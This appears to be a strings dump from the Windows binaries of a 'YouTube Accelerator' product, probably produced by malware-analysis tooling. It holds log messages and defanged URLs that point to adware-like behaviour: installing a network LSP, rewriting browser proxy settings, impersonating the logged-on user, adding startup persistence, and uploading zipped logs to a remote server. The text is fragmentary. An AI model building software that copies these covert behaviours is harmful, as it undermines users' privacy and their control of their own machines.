[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

jsdrv.exe_3208:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

t.Ph|;I

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PShXwK

Tu8%XuJ@Uu

Tu.AUub

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

